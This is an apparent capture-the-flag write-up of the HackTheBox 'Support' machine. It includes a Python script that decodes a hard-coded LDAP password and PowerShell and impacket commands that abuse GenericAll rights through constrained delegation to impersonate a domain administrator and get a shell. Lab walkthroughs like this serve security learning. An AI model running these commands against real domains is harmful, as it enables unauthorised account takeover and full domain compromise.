> For the complete documentation index, see [llms.txt](https://rouvin.gitbook.io/ibreakstuff/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rouvin.gitbook.io/ibreakstuff/writeups/hackthebox/easy/support.md).

# Support

## Gaining Access

Nmap scan:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-4ec2f05443b3a16a0a51bbf2e28a500ff880bc4c%2Fimage.png?alt=media)

### Null Session

I found that SMB accepts null credentials for this machine:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-ebf4fb0925418934a84590034636b96d05cf8c62%2Fimage.png?alt=media)

Viewing the support-tools share, we find that it contains multiple binaries.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-6c2325dbc88d7761f5bd8ac0ccd952a57b985c13%2Fimage.png?alt=media)

There's only one that was interesting, and it was the `UserInfo.exe` file. I took it back to my Windows VM and used dnSpy to open it.

### dnSpy

When decompiled, it seems that the binary was sending LDAP queries:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-4c65b100468b5cba15b1d93997184b12f1b59861%2Fimage.png?alt=media)

Looking around, I also found this `password` function.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-652eca5b7dcd598f7ecb5e5b8364bf3bbf5e2ca7%2Fimage.png?alt=media)

We can decode this easily using some Python and following their logic.

```python
import base64
enc_pass="0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key=b"armando"

array = base64.b64decode (enc_pass)
array1 = []

for i in range(len(array)):
        array1.append(chr(array[i] ^ key[i % len(key)] ^ 0xDF))

array1 = ''.join(array1)
print (array1)
```

This would output the password.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-cd5d27b859d997c5709de70e7f88461ba2fcf1cb%2Fimage.png?alt=media)

### LDAPSearch

Then, since the binary does LDAP queries, I wanted to use the username and password given by the binary to query LDAP.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-bde71bc6b5bc8d269acf40509434c2d59042762a%2Fimage.png?alt=media)

On analysing the output, I found a hidden password for the `support` user.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-148912b44f97ac2307321b48b778377b12c822ba%2Fimage.png?alt=media)

We can then `evil-winrm` in as this `support` user.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-d3be3f9ebe9faff108f8640dc4bc376cea3e9985%2Fimage.png?alt=media)

## Privilege Escalation

Once in, I started Bloodhound to enumerate for me. Upon reviewing the contents, I saw this interesting set of permissions over the DC.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-253644ef60e5072c63489e22a85c4be5ac2e9e5d%2Fimage.png?alt=media)

We can use PowerMad and PowerView to abuse the `GenericAll` privileges.

### GenericAll Abuse

We can use this set of commands to create a new user:

```powershell
New-MachineAccount -MachineAccount (Get-Variable -Name "FAKE01").Value -Password $(ConvertTo-SecureString 'password@123' -AsPlainText -Force) -Verbose
Set-ADComputer (Get-Variable -Name "DC").Value -PrincipalsAllowedToDelegateToAccount ((Get-Variable -Name "FAKE01").Value + '$')
Get-ADComputer (Get-Variable -Name "DC").Value -Properties PrincipalsAllowedToDelegateToAccount
# on Linux from here 
impacket-getST support.htb/fake01 -dc-ip <IP> -impersonate administrator -spn www/dc.support.htb
export KRB5CCNAME=administrator.ccache
smbexec.py support/Administrator@support.htb -no-pass -k
```

This would spawn in a shell for us.

How it works is that we first create a new user that has the Constrained Delegation privilege. Then, we are able to impersonate the administrator and request a ticket that we can use to gain a shell with `smbexec.py`.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-a8ed5ce54b1c1cf9f978683924f0a35133fa61d5%2Fimage.png?alt=media)